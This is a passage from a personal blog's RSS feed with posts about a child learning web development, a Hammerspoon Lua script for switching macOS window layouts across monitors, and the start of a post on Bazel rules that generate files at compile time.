&lt;p&gt;With these changes, I feel a lot more energetic through the day and feel that not just my ears but overall health has improved a lot.&lt;/p&gt;</content></item><item><title>Pradyumn's got a website</title><link>https://shantanugoel.com/2021/01/09/pradyumn-coding-website/</link><pubDate>Sat, 09 Jan 2021 13:21:55 +0530</pubDate><guid>https://shantanugoel.com/2021/01/09/pradyumn-coding-website/</guid><description>&lt;p&gt;My 10yo (Pradyumn) got interested in coding last year. I wasn&amp;rsquo;t so sure about it in the beginning since I didn&amp;rsquo;t want to force my career choices or interests on to him. But I realized that he wanted to do it of his own accord, so I agreed to help him. But our deal was that I will introduce him a bit to the learning resources and help him out with his doubts here and there, while he will peruse all the learning material and build his things on his own without much interference/interaction with me.&lt;/p&gt;</description><content>&lt;p&gt;My 10yo (Pradyumn) got interested in coding last year. I wasn&amp;rsquo;t so sure about it in the beginning since I didn&amp;rsquo;t want to force my career choices or interests on to him. But I realized that he wanted to do it of his own accord, so I agreed to help him. But our deal was that I will introduce him a bit to the learning resources and help him out with his doubts here and there, while he will peruse all the learning material and build his things on his own without much interference/interaction with me.&lt;/p&gt;
&lt;p&gt;I took the regular path of introducing him to &lt;a href="https://scratch.mit.edu/"&gt;scratch&lt;/a&gt; and &lt;a href="https://code.org"&gt;code.org&lt;/a&gt; initially, since that&amp;rsquo;s what I have seen being recommended for kids at many places. He got bored of them quite quickly though as he didn&amp;rsquo;t feel that he was coding enough, plus he felt limited in expressing himself.&lt;/p&gt;
&lt;p&gt;I then gave him a &lt;a href="https://automatetheboringstuff.com/"&gt;python book&lt;/a&gt; and he spent a couple of months learning that. He was quite into it and made few programs and games with the concepts he learnt from here. He felt quite happy with it except that he was mostly restricted to the command line programs. He found out about pygame and made a few graphical games which gave him a new high, but felt let down when he learnt he couldn&amp;rsquo;t share them easily with his friends and family since there was no easy packaging mechanism, plus a lot of the folks he wanted to share them with would just see it on the phone/tablets etc which won&amp;rsquo;t run python stuff anyways. He did find a few sites/programs that promised to translate these programs to mobile apps and all but they all seemed to have tricky corners to navigate.&lt;/p&gt;
&lt;p&gt;At this point, instead of having his time spent in packaging etc, I introduced him to the idea of learning HTML/CSS/Javascript. I myself don&amp;rsquo;t have much experience in the field of programming for the web, but I felt (and was instantly vindicated seeing his face light up) that this path will help achieve his goals and motivate him to keep learning. He researched about resources on this for a few days and asked me to buy him a couple of udemy courses which I did. He&amp;rsquo;s been going through this over the past month and made a couple of programs and a website to showcase them. As an aside, he also learnt a bit of git and github. I connected a domain to his github repository and here it is: &lt;a href="https://pradyumngoel.com/"&gt;https://pradyumngoel.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I don&amp;rsquo;t really have any hopes/wishes linked to this, as I would fully support him to go into whichever field he likes. But the first step towards that is that the kids get to experience the various things that are available to them as choices. He&amp;rsquo;s been trying various sports and other activities in the past and I&amp;rsquo;m glad he is keen towards learning new things on his own and expanding his horizons.&lt;/p&gt;</content></item><item><title>A nifty window layout switcher for macOS using Hammerspoon</title><link>https://shantanugoel.com/2020/08/21/hammerspoon-multiscreen-window-layout-macos/</link><pubDate>Fri, 21 Aug 2020 23:07:59 +0530</pubDate><guid>https://shantanugoel.com/2020/08/21/hammerspoon-multiscreen-window-layout-macos/</guid><description>&lt;p&gt;I&amp;rsquo;m a sucker for screen real estate, and thus I use 2 32&amp;quot; 4k monitors so I can see most of my apps&amp;rsquo; windows simultaneously, instead of switching back and forth between them.&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;&lt;a href="https://twitter.com/hashtag/myworkplace?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#myworkplace&lt;/a&gt; is pretty lean (on cables) and mean (on screen real estate). And a lot of tileception goes on (window tiling, then local tmux tiling, then 1-2 levels of remote tmux tiling) &lt;a href="https://t.co/wCqsusBfRb"&gt;pic.twitter.com/wCqsusBfRb&lt;/a&gt;&lt;/p&gt;&amp;mdash; Shantanu Goel (@shantanugoel) &lt;a href="https://twitter.com/shantanugoel/status/1292863501837295616?ref_src=twsrc%5Etfw"&gt;August 10, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;p&gt;I use the awesome Rectangle app that provides shortcuts to move/resize an app window to my liking. However, this goes for a toss whenever I disconnect my laptop, or reboot it. macOS can&amp;rsquo;t seem to reliably remember where to put the windows at such events and I&amp;rsquo;ve to keep playing this game of doing a lot of alt-tabs and rectangle keyboard shortcuts to get my app windows back where I like them. So, I spent some time recently to whip up a short &lt;a href="https://www.hammerspoon.org/"&gt;hammerspoon&lt;/a&gt; script that allows me to do this easily.&lt;/p&gt;</description><content>&lt;p&gt;I&amp;rsquo;m a sucker for screen real estate, and thus I use 2 32&amp;quot; 4k monitors so I can see most of my apps&amp;rsquo; windows simultaneously, instead of switching back and forth between them.&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;&lt;a href="https://twitter.com/hashtag/myworkplace?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#myworkplace&lt;/a&gt; is pretty lean (on cables) and mean (on screen real estate). And a lot of tileception goes on (window tiling, then local tmux tiling, then 1-2 levels of remote tmux tiling) &lt;a href="https://t.co/wCqsusBfRb"&gt;pic.twitter.com/wCqsusBfRb&lt;/a&gt;&lt;/p&gt;&amp;mdash; Shantanu Goel (@shantanugoel) &lt;a href="https://twitter.com/shantanugoel/status/1292863501837295616?ref_src=twsrc%5Etfw"&gt;August 10, 2020&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;p&gt;I use the awesome Rectangle app that provides shortcuts to move/resize an app window to my liking. However, this goes for a toss whenever I disconnect my laptop, or reboot it. macOS can&amp;rsquo;t seem to reliably remember where to put the windows at such events and I&amp;rsquo;ve to keep playing this game of doing a lot of alt-tabs and rectangle keyboard shortcuts to get my app windows back where I like them. So, I spent some time recently to whip up a short &lt;a href="https://www.hammerspoon.org/"&gt;hammerspoon&lt;/a&gt; script that allows me to do this easily.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-lua" data-lang="lua"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; laptopScreen &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Color LCD&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; leftMonitor &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Acer ET322QK&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; rightMonitor &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;B326HK&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;-- Define position values that don&amp;#39;t exist by default in hs.layout.*&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; positions &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; leftTop &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {x&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, y&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, w&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;, h&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; leftBottom &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {x&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, y&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;, w&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;, h&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rightTop &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {x&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;, y&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, w&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;, h&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rightBottom &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {x&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;, y&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;, w&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;, h&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0.5&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; layoutTripleScreen &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Google Chrome&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, rightMonitor, positions.rightBottom, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Joplin&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, rightMonitor, positions.rightTop, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Cider&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, rightMonitor, hs.layout.left50, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Google.com Mail&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, leftMonitor, positions.leftBottom, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Hangouts Chat&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, leftMonitor, positions.leftTop, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Firefox&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, leftMonitor, positions.rightTop, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;iTerm2&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, leftMonitor, positions.rightBottom, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; layoutSingleScreen &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Google Chrome&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, laptopScreen, hs.layout.maximized, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Joplin&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, laptopScreen, hs.layout.maximized, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Cider&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, laptopScreen, hs.layout.maximized, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Google.com Mail&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, laptopScreen, hs.layout.maximized, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Hangouts Chat&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, laptopScreen, hs.layout.maximized, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;Firefox&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, laptopScreen, hs.layout.maximized, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#e6db74"&gt;&amp;#34;iTerm2&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, laptopScreen, hs.layout.maximized, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;nil&lt;/span&gt;},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; appNames &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Google Chrome&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Joplin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Cider&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Google.com Mail&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Hangouts Chat&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Firefox&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;iTerm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;launchApps&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i, appName &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; ipairs(appNames) &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hs.application.launchOrFocus(appName)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; menu &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hs.menubar.new()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setSingleScreen&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; menu:setTitle(&lt;span style="color:#e6db74"&gt;&amp;#34;🖥1&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; menu:setTooltip(&lt;span style="color:#e6db74"&gt;&amp;#34;Single Screen Layout&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hs.layout.apply(layoutSingleScreen)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;setTripleScreen&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; menu:setTitle(&lt;span style="color:#e6db74"&gt;&amp;#34;🖥3&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; menu:setTooltip(&lt;span style="color:#e6db74"&gt;&amp;#34;Triple Screen Layout&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hs.layout.apply(layoutTripleScreen)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;local&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;enableMenu&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; menu:setTitle(&lt;span style="color:#e6db74"&gt;&amp;#34;🖥&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; menu:setTooltip(&lt;span style="color:#e6db74"&gt;&amp;#34;No Layout&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; menu:setMenu({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; { title &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Launch Apps&amp;#34;&lt;/span&gt;, fn &lt;span style="color:#f92672"&gt;=&lt;/span&gt; launchApps },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; { title &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Set Triple Screen Layout&amp;#34;&lt;/span&gt;, fn &lt;span style="color:#f92672"&gt;=&lt;/span&gt; setTripleScreen },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; { title &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Set Single Screen Layout&amp;#34;&lt;/span&gt;, fn &lt;span style="color:#f92672"&gt;=&lt;/span&gt; setSingleScreen },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; })
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;enableMenu()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The script creates a list of apps that I like to be open while working and defines two layouts for them (One when monitors are connected thus giving me 3 screens, and one when I&amp;rsquo;m working solely off the laptop). It also puts a handy menu in the menubar that allows me to launch the apps or switch between various options. It also shows a number &amp;ldquo;1&amp;rdquo; or &amp;ldquo;3&amp;rdquo; adjacent to the menu icon to display what layout I&amp;rsquo;m currently using. Pretty nifty!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/2020/layout-switcher-menubar.png" alt="The Layout Switcher Menu"&gt;&lt;/p&gt;</content></item><item><title>Bazel rules to auto generate files at compile time</title><link>https://shantanugoel.com/2020/05/03/bazel-rule-auto-generate-files-compile-time/</link><pubDate>Sun, 03 May 2020 11:02:30 +0530</pubDate><guid>https://shantanugoel.com/2020/05/03/bazel-rule-auto-generate-files-compile-time/</guid><description>&lt;p&gt;Auto generated files in a project are pretty common. There are generally 3 scenarios for this in a project that needs auto-generated files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An external pre-built tool generates files pre-compilation and then the generated files get checked in to the tree&lt;/li&gt;
&lt;li&gt;The tool is compiled in-tree but is again used to generate files pre-compilation and then check them into tree&lt;/li&gt;
&lt;li&gt;The tool is built during the main build step and then it also generates the needed files just in time.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Arguably, the last method is usually the better one since it keeps friction to a minimum during development by always generating latest files according to any changes done locally and also prevents against the human error of someone foregetting to commit the separately generated files, or having a time period where the tree is out of sync because the generated files and hand written files were committed separately. There is a con as well that such files are not available for someone going through the code statically for understanding or debugging. But one could always couple both methods if so desired.&lt;/p&gt;</description><content>&lt;p&gt;Auto generated files in a project are pretty common. There are generally 3 scenarios for this in a project that needs auto-generated files:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;An external pre-built tool generates files pre-compilation and then the generated files get checked in to the tree&lt;/li&gt;
&lt;li&gt;The tool is compiled in-tree but is again used to generate files pre-compilation and then check them into tree&lt;/li&gt;
&lt;li&gt;The tool is built during the main build step and then it also generates the needed files just in time.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Arguably, the last method is usually the better one since it keeps friction to a minimum during development by always generating latest files according to any changes done locally and also prevents against the human error of someone foregetting to commit the separately generated files, or having a time period where the tree is out of sync because the generated files and hand written files were committed separately. There is a con as well that such files are not available for someone going through the code statically for understanding or debugging. But one could always couple both methods if so desired.&lt;/p&gt;
&lt;p&gt;I had a need to generate some files for a side project of mine recently and I thought of listing down the way I achieve this with bazel, particularly the last mechanism mentioned above. So, our (simplified) problem statement is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Our primary code is in &lt;code&gt;main.cc&lt;/code&gt; which needs to include an auto-generated header file &lt;code&gt;header.h&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;header.h&lt;/code&gt; is generated by running a tool &lt;code&gt;header_generator&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;header_generator&lt;/code&gt; is built by compiling &lt;code&gt;header_generator.cc&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;We only want to run a single build step of building our primary target. Rest should happen on its own flowing through the dependency logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To achieve this, we should move in the reverse dependency order. First, let&amp;rsquo;s define the straight forward target of &lt;code&gt;header_generator&lt;/code&gt;. This target does not have any dependency and can build standalonea as well.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cc_binary(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; name &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;header_generator&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; srcs &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;header_generator.cc&amp;#34;&lt;/span&gt;],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next, we define a target that will generate our library that builds &lt;code&gt;header.h&lt;/code&gt;. If this was a hand-written or pre-generated file, the target would&amp;rsquo;ve been simply:&lt;/p&gt;
